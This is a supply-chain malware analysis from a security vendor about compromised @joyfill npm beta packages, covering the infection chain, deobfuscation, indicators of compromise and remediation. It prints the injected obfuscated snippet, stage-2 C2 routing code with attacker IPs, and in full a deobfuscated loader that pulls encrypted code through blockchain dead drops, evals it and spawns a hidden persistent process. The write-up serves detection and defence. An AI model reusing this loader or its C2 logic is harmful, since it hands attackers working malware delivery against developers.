Joyfill npm Packages Compromised with Blockchain C2 Loader

SafeDep Team10 min read

Two beta versions published to the @joyfill npm scope on July 28, 2026 carried the same blockchain C2 loader documented in the astro.config.mjs attack. The compromised packages are @joyfill/layouts@0.1.2-2773.beta.0(opens in new tab) and @joyfill/components@4.0.0-rc24-2773-beta.4(opens in new tab). The malicious versions were unpublished from npm within hours but remain cached on registry mirrors. Both the primary Tron dead drop address (TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) and the BSC relay wallet (0x9bc1355344b54dedf3e44296916ed15653844509) are identical to the earlier campaign, confirming this is the same operator.

Attack structure

The attack targeted a legitimate package scope. Joyfill is a form-builder SDK with three npm maintainers and a release history going back to March 2023. The attacker published through the existing scope rather than typosquatting a new one, using the beta dist-tag to avoid overwriting the latest version. The 2773 version segment mimics a CI build number, consistent with the project’s existing naming convention (prior builds used 1771, 1991, 2273).

The compromise is a two-package chain. @joyfill/components@4.0.0-rc24-2773-beta.4 declares a dependency on @joyfill/layouts@0.1.2-2773.beta.0. The payload lives exclusively in the layouts package. Installing the malicious components version pulls in the malicious layouts version, and the payload executes at require() time as a side effect of the bundled module.

// @joyfill/components@4.0.0-rc24-2773-beta.4 package.json (diff vs clean rc24)
-    "@joyfill/layouts": "0.1.2-1771.beta.5",
+    "@joyfill/layouts": "0.1.2-2773.beta.0",

No install scripts. No preinstall or postinstall hooks. The malicious code is inside dist/index.cjs.js and dist/index.es.js, the production JavaScript bundles that execute when any consuming application imports the package.

Payload injection

The clean @joyfill/layouts@0.1.1 ships a 37,318-line CJS bundle. The malicious 0.1.2-2773.beta.0 replaces it with a 1,271-line rebuild using vite-plugin-css-injected-by-js (new to this version). The attacker inserted 62 lines of obfuscated code between the last utility function (sortLayoutItemsByColRow) and the module’s FieldLayoutTypes constant:

// dist/index.cjs.js, injected after line 861 of the malicious bundle
// (line 863 in the file, between sortLayoutItemsByColRow and FieldLayoutTypes)

global['!'] = '9-0135-3';
var _$_1e42 = (function (l, e) {
  var h = l.length;
  var g = [];
  for (var j = 0; j < h; j++) {
    g[j] = l.charAt(j);
  }
  for (var j = 0; j < h; j++) {
    var s = e * (j + 489) + (e % 19597);
    var w = e * (j + 659) + (e % 48014);
    var t = s % h;
    var p = w % h;
    var y = g[t];
    g[t] = g[p];
    g[p] = y;
    e = (s + w) % 4573868;
  }
  // ... string split/join chain produces ["r", "object", "m"]
})('rmcej%otb%', 2857687);
global[_$_1e42[0]] = require; // global["r"] = require

The injection sets global["!"] = "9-0135-3", the same campaign marker format documented in the astro.config.mjs analysis. It then exposes require and module onto the global object (necessary for the blockchain loader to use Node.js https and child_process modules from inside a bundled ES module context).

Deobfuscation

The obfuscation uses three layers of character-shuffling functions to hide a call to the Function constructor:

  1. sfL shuffle: A character-swap permutation using a numeric seed (2667686). Applied to the string "wuqktamceigynzbosdctpusocrjhrflovnxrt", the first 11 characters decode to "constructor".
  2. sfL["constructor"] resolves to Function (since sfL is a function object, its constructor property is Function).
  3. Two large string literals are decoded through sfL, then passed to Function() to construct the loader.

The fully deobfuscated stage 1 loader is in the appendix below. It exposes require and module on the global object, sets campaign marker global["!"] = "9-0135-3", then runs a blockchain C2 fetch with XOR decryption and eval(). A fallback path spawns a detached node -e child process for persistence.

The blockchain dead drop (still live)

The C2 resolution chain is identical to the one we documented for PolinRider:

  1. Tron: Query TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP via api.trongrid.io. Decode the raw_data.data hex field to UTF-8, reverse it. The result is a BSC transaction hash.
  2. BSC: Query bsc-dataseed.binance.org (or bsc-rpc.publicnode.com as fallback) with eth_getTransactionByHash. Strip the 0x prefix from tx.input, decode hex to UTF-8, split on ?.?, take the second segment.
  3. XOR decrypt with the hardcoded key and eval().

At time of analysis, both Tron addresses are still returning transactions. The primary dead drop resolves to BSC transaction 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d, sent from attacker wallet 0x9bc1355344b54dedf3e44296916ed15653844509 to the burn address 0x...dead. The input field carries 5,855 bytes of XOR-encrypted JavaScript.

The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: "ignore", keeping it alive after the parent Node.js process exits.

Stage 2: C2 server selection and second blockchain fetch

Decrypting the primary BSC payload reveals a second loader wrapped in three more obfuscation layers (same NVu shuffle + Function constructor technique). After static deobfuscation, stage 2 performs two operations.

Campaign-aware C2 routing. Stage 2 reads the campaign marker (global._V, which is "A9-0135-3" for the joyfill payload) and selects an HTTP C2 server based on its prefix:

// Stage 2 C2 routing (deobfuscated from _$_9f51 string table)
_V = global['_V'] || 0;

if (_V[0] === 'A' || _V === '0') {
  global['_t_s'] = 'http://166.88.134.62:443';
  global['_t_u'] = 'http://166.88.134.62';
} else if (!isNaN(parseInt(_V))) {
  global['_t_s'] = 'http://198.105.127.210:443';
  global['_t_u'] = 'http://198.105.127.210';
} else {
  global['_t_s'] = 'http://23.27.202.27:443';
  global['_t_u'] = 'http://23.27.202.27:27017';
}

// Set up a SECOND Tron dead drop address for the next fetch
global['_t_1'] = 'TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v';
global['_t_2'] = '0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1';

Since the joyfill campaign marker starts with "A", the selected C2 server is 166.88.134[.]62. These are the same three servers documented in the astro.config.mjs investigation.

Second blockchain fetch. Stage 2 then runs the same Tron-to-BSC resolver again, this time with Tron address TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v and Aptos hash 0x533b2db... (stored in global._t_1 and global._t_2 by the routing logic above). The result is XOR-decrypted with the same key (2[gWfGj;<:-93Z^C) and eval()’d as stage 3.

// Stage 2 inner function (deobfuscated from _$_56c8 string table)
// Identical blockchain resolver pattern, different Tron address
var n = await t(
  '2[gWfGj;<:-93Z^C', // Same XOR key as stage 1
  global['_t_1'], // TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v
  global['_t_2'] // 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1
);
eval(n); // Execute stage 3

Stage 2 also saves __dirname and __filename into global.___dirname and global.___filename, preserving the execution context for later stages. A base64-encoded block sets a debounce guard (global._t_t) and stores the function’s own source code in global._t_c, likely for self-replication by stage 3.

The full chain is therefore: npm bundle → Tron A → BSC → stage 2 → Tron B → BSC → stage 3 (bot client). Two separate Tron addresses, two separate BSC fetches, each with independent Aptos fallbacks.

Decrypting stage 3 produces a 77KB LZ-compressed RAT client matching the PolinRider bot client structure. The fingerprints are identical: XB3pRQO/IvUhGI environment probes, veN854 reconnect function, lpVxjTQ command listener, and iwd7Ox self-restart loop, all documented in the astro.config.mjs post. The joyfill variant delivers this bot entirely through the blockchain dead drop, skipping the HTTP /$/boot beacon the astro attack used for the same payload.

What changed from the astro.config attack

The blockchain C2 infrastructure is identical: same Tron address, same BSC relay wallet, same Aptos fallback, same ?.? delimiter, same XOR decryption pattern. The differences are in the delivery mechanism.

The @joyfill attack defers the HTTP C2 beacon to stage 2, routing through two rounds of blockchain fetches before the C2 server URLs are even set. Initial network connections from the npm bundle go exclusively to legitimate public blockchain API endpoints (api.trongrid.io, bsc-dataseed.binance.org, fullnode.mainnet.aptoslabs.com). That makes early-stage detection through network monitoring harder.

Timeline

The malicious versions were live for roughly 10 hours. Clean versions were pushed within 3 hours, suggesting the maintainers detected the compromise and responded. The malicious versions remain cached on third-party mirrors like registry.npmmirror.com.

Indicators of compromise

joyfill-blockchain-c2-iocs.csv
RowIndicatorTypeStageContext
1@joyfill/layouts@0.1.2-2773.beta.0npm package1Malicious package containing blockchain C2 loader
2@joyfill/components@4.0.0-rc24-2773-beta.4npm package1Chains to malicious layouts via dependency
3adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6SHA-2561layouts tarball hash
4bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17SHA-2561components tarball hash
5TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPTron address1Primary dead drop (shared with astro.config.mjs campaign)
6TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcGTron address1Fallback dead drop
70x9bc1355344b54dedf3e44296916ed15653844509BSC wallet1Attacker relay wallet (sends to 0x...dead)
80xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811eAptos tx hash1Primary Aptos fallback
90x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3Aptos tx hash1Fallback Aptos fallback
10TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3vTron address2Stage 2 dead drop (second blockchain fetch)
110x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1Aptos tx hash2Stage 2 Aptos fallback
12166.88.134.62C2 IP2Campaign prefix "A" (joyfill)
13198.105.127.210C2 IP2Numeric campaign marker
1423.27.202.27:27017C2 IP2Default fallback
15global["!"] = "9-0135-3"Campaign marker1Payload variant identifier
16global["_V"] = "A9-0135-3"Campaign ID1Passed to spawned child process
16 rows4 columns

If your lockfile pins either of the two malicious versions, rotate any secrets that were present in the environment where npm install or a build ran. The payload executes at import time, not install time, so the exposure window extends to any process that loaded the package.

Deobfuscated payload

Full static reconstruction of the blockchain C2 loader. Nothing below was executed. Variable names are restored from the _$_ccfc string table; the three obfuscation layers (_$_1e42 shuffle, sfL permutation, Function constructor packing) are unwound.

joyfill-blockchain-c2-deobfuscated.js
// FULLY DEOBFUSCATED @joyfill/layouts@0.1.2-2773.beta.0 PAYLOAD
// For analysis only - NOT executable
// Static reconstruction from three obfuscation layers:
//   1. _$_1e42 string-shuffle (seed 2857687)
//   2. sfL character-swap permutation (seed 2667686)
//   3. Function constructor with nested string table (_$_ccfc)

// --- Stage 0: Global setup (injected between legitimate layout utility code) ---
global["!"] = "9-0135-3";                  // Campaign marker
global["r"] = require;                      // Expose require globally
global["m"] = module;                       // Expose module globally

// --- Stage 1: Blockchain-based C2 loader ---
(async () => {
  const i = global;
  i["_V"] = "A" + global["!"];             // "A9-0135-3" - version/campaign ID

  // HTTPS GET helper
  async function c(url) {
    return new Promise((resolve, reject) => {
      require("https").get(url, (response) => {
        let data = "";
        response.on("data", (chunk) => { data += chunk });
        response.on("end", () => {
          try { resolve(JSON.parse(data)) }
          catch (e) { reject(e) }
        });
      }).on("error", (e) => { reject(e) }).end();
    });
  }

  // JSON-RPC POST helper (for BSC/Ethereum nodes)
  async function s(method, params = [], hostname) {
    return new Promise((resolve, reject) => {
      const body = JSON.stringify({ jsonrpc: "2.0", method, params, id: 1 });
      const opts = { hostname, method: "POST" };
      const req = require("https").request(opts, (response) => {
        let data = "";
        response.on("data", (chunk) => { data += chunk });
        response.on("end", () => {
          try { resolve(JSON.parse(data)) }
          catch (e) { reject(e) }
        });
      }).on("error", (e) => { reject(e) });
      req.write(body);
      req.end();
    });
  }

  // Core C2 function: fetch XOR-encrypted payload from blockchain transactions
  async function t(xorKey, tronAddress, aptosHash) {
    let encodedPayload;

    // Try Tron first
    try {
      encodedPayload = Buffer.from(
        (await c("https://api.trongrid.io/v1/accounts/" + tronAddress +
          "/transactions?only_confirmed=true&only_from=true&limit=1"))
          .data[0].raw_data.data,
        "hex"
      ).toString("utf8").split("").reverse().join("");

      if (!encodedPayload) throw new Error();
    } catch (e) {
      // Fallback to Aptos
      encodedPayload = (await c(
        "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosHash +
          "/transactions?limit=1"
      ))[0].payload.arguments[0];
    }

    // Fetch BSC transaction using the hash from Tron/Aptos
    let txInput;
    async function fetchFromBSC(hostname) {
      return Buffer.from(
        (await s("eth_getTransactionByHash", [encodedPayload], hostname))
          .result.input.substring(2),
        "hex"
      ).toString("utf8").split("?.?")[1];
    }

    try {
      txInput = await fetchFromBSC("bsc-dataseed.binance.org");
      if (!txInput) throw new Error();
    } catch (e) {
      txInput = await fetchFromBSC("bsc-rpc.publicnode.com");
    }

    // XOR decrypt the payload using the provided key
    return ((encrypted) => {
      const keyLen = xorKey.length;
      let decrypted = "";
      for (let i = 0; i < encrypted.length; i++) {
        const keyChar = xorKey.charCodeAt(i % keyLen);
        decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ keyChar);
      }
      return decrypted;
    })(txInput);
  }

  // --- Execution ---

  // Debounce: skip if last run was < 30 seconds ago
  const now = (new Date()).getTime();
  try {
    if (global["_p_t"] && now - global["_p_t"] < 30000) return;
  } catch (e) {}
  global["_p_t"] = now;

  // Primary C2 channel
  try {
    const payload = await t(
      "2[gWfGj;<:-93Z^C",                    // XOR key
      "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP",  // Tron address
      "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e" // Aptos hash
    );
    eval(payload);  // Execute stage 2
  } catch (e) {}

  // Fallback C2 channel + persistent execution via detached child process
  try {
    const payload = await t(
      "m6:tTh^D)cBz?NM]",                    // XOR key
      "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG",  // Tron address
      "0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3" // Aptos hash
    );

    // Spawn detached node process for persistence
    require("child_process").spawn("node", [
      "-e",
      "global['_V']='" + (global["_V"] || 0) + "';" + payload + ""
    ], {
      detached: true,
      stdio: "ignore",
      windowsHide: true
    }).on("error", (e) => {
      eval(payload);  // Fallback: eval directly if spawn fails
    });
  } catch (e) {}
})();

References

  • supply-chain
  • malware
  • npm
  • blockchain
  • joyfill

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.